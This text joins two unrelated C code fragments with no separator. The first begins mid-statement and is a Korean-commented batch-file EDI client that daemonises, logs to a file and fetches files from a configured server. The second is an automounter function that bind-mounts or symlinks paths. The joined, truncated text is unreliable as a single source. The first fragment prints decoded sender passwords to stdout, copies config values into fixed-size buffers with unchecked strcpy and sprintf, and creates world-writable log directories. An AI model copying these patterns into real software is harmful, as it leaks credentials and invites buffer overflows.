CfgGetBxa("SND_HOST")); printf("CfgGetBxa [%s]\n", CfgGetBxa("SND_PORT")); printf("Port [%d]\n", UtilToInt(CfgGetBxa("SND_PORT"))); /* printf("CfgGetBxa [%s]\n", CfgGetBxa("SENDER_ID")); printf("CfgGetBxa [%s]\n", CfgGetBxa("SENDER_PWD")); */ strcpy(sUserid, ""); strcpy(sPasswd, ""); } if (!flag) { char sOrg[100]; char sEnc[100]; char sDec[100]; strcpy(sOrg, CfgGetBxa("SENDER_PWD")); strcpy(sEnc, GetPassword("KFT51", 1, "HCMSTEST", sOrg, "243" )); printf("OUTPUT 인코딩암호=[%s]\n", sEnc ); /* * 복호화 */ strcpy(sDec, GetPassword("KFT51", 2, "HCMSTEST", sEnc, "243" )); printf("OUTPUT 디코딩암호=[%s]\n", sDec ); } } if (!flag && iForkFlag) { /* * fork를 이용하여 child process 를 실행한다. */ setpgrp(); switch(fork()) { case -1: printf("ERROR : fork error : [errno=%d]\n", errno); exit(9); case 0: break; /* child process */ default: exit(0); /* parent process */ } /* * 표준출력을 LOG처리한다. */ if (flag) { char strPath[128]; char strFile[128]; sprintf(strPath, CfgGetMst("ib.path.log")); UtilSetYYYYMMDD(strPath); mkdir(strPath, 0777); if (flag) sprintf(strFile, "%s/%s", strPath, sServiceid); if (!flag) sprintf(strFile, "%s/%s", strPath, sFepid); /* ERROR : 두 프로세스 사용시 */ if (flag) LOG(_FL_, 0, 0, "LOG FILE => [%s]\n", strFile); if (access(strFile, R_OK) < 0) { /* 최초생성 */ freopen(strFile, "w+", stdout); } else { /* APPEND 모드 */ freopen(strFile, "a+", stdout); } if (flag) LOG(_FL_, 0, 0, "[%s]\n", strFile); if (flag) LOG(_FL_, 0, 0, "[%s]\n", TimeGetDateTime2()); fflush(stdout); } if (!flag) exit(0); } /******************************************************************************/ if (flag) LOG(_FL_, 0, 0, "프로그램을 시작합니다."); SigSetSignal(); if (flag) { /* * 프로그램이 클라이언트인 경우 */ while (TRUE) { if (!flag) { printf("#"); fflush(stdout); } if (CSockGetFdCount('C') == 0) { if (flag) LOG(_FL_, 0, 0, "서버에 접속 시도"); /* * 서버에 접속을 시도한다. */ CSockFDZERO(); if (CSockSocket(CfgGetBxa("SND_HOST"), UtilToInt(CfgGetBxa("SND_PORT")), 1) == FALSE) { sleep(RECONN_SEC); continue; } if (flag) CSockPrintSocketTable(); /* * link 처리를 한다. link전문 송신 */ } if (flag) { if (flag) LOG(_FL_, 0, 0, "배치파일 수신"); /* * 배치파일을 받는다. */ if (CSockWriteRead(RecvBatFileEDI) < 0) { if (flag) LOG(_FL_, 0, 0, "수신파일없음 -> 세션 종료"); /* 세션을 종료한다. */ CSockFDCLR_All(); if (!flag) sleep(60); if (!flag) continue; if (flag) break; } } if (!flag) { /* * FQ에 수신자료를 쓴다. * 쓴 후에는 *sDataLine = 0x00 * 이 함수는 RecvBatFileEDI에서 처리하도록 됨. * 그래서 사용하지 않는다. */ WriteBatFQ(); } if (flag) { /* * polling 처리를 한다. poll전문 송신만. */ } if (!flag) sleep(60); if (flag) break; } } if (flag) LOG(_FL_, 0, 0, "프로그램을 종료합니다."); }
int autofs_link_mount(am_node *mp) { int err = -1; #ifdef MNT2_GEN_OPT_BIND if (bind_works) { mntent_t mnt; struct stat buf; /* * we need to stat() the destination, because the bind mount does not * follow symlinks and/or allow for non-existent destinations. * we fall back to symlinks if there are problems. * * we need to temporarily change pgrp, otherwise our stat() won't * trigger whatever cascading mounts are needed. * * WARNING: we will deadlock if this function is called from the master * amd process and it happens to trigger another auto mount. Therefore, * this function should be called only from a child amd process, or * at the very least it should not be called from the parent unless we * know for sure that it won't cause a recursive mount. We refuse to * cause the recursive mount anyway if called from the parent amd. */ if (!foreground) { pid_t pgrp = getpgrp(); setpgrp(); err = stat(mp->am_link, &buf); if (setpgid(0, pgrp)) { plog(XLOG_ERROR, "autofs: cannot restore pgrp: %s", strerror(errno)); plog(XLOG_ERROR, "autofs: aborting the mount"); return errno; } if (err) goto use_symlink; } if ((err = lstat(mp->am_link, &buf))) goto use_symlink; if (S_ISLNK(buf.st_mode)) goto use_symlink; plog(XLOG_INFO, "autofs: bind-mounting %s -> %s", mp->am_path, mp->am_link); memset(&mnt, 0, sizeof(mnt)); mnt.mnt_dir = mp->am_path; mnt.mnt_fsname = mp->am_link; mnt.mnt_type = "bind"; mnt.mnt_opts = ""; mkdirs(mp->am_path, 0555); err = mount_fs(&mnt, MNT2_GEN_OPT_BIND, NULL, 0, "bind", 0, NULL, mnttab_file_name); if (err) rmdir(mp->am_path); } use_symlink: #endif /* MNT2_GEN_OPT_BIND */ if (err) { plog(XLOG_INFO, "autofs: symlinking %s -> %s", mp->am_path, mp->am_link); err = symlink(mp->am_link, mp->am_path); } if (err) return errno; return 0; }